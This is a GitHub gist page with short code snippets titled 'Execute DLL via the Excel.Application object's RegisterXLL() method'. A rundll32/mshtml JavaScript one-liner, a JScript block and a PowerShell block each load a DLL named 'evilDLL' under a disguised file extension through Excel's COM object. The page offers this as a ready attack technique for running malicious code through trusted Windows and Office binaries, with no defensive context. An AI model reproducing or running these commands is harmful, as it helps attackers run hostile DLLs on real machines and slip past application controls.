Skip to content

Instantly share code, notes, and snippets.

@Ridter
Forked from ryhanson/ExcelXLL.md
Created July 13, 2017 04:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save Ridter/efbd9ccf32f360309064d35611029b0a to your computer and use it in GitHub Desktop.
Save Ridter/efbd9ccf32f360309064d35611029b0a to your computer and use it in GitHub Desktop.
Execute DLL via the Excel.Application object's RegisterXLL() method
REM rundll32 mshtml.dll HTA one-liner command:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close();
// Create Instace of Excel.Application COM object
var excel = new ActiveXObject("Excel.Application");
// Pass in path to the DLL (can use any extension)
excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz");
# Create Instace of Excel.Application COM object
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
# Pass in path to the DLL (can use any extension)
$excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment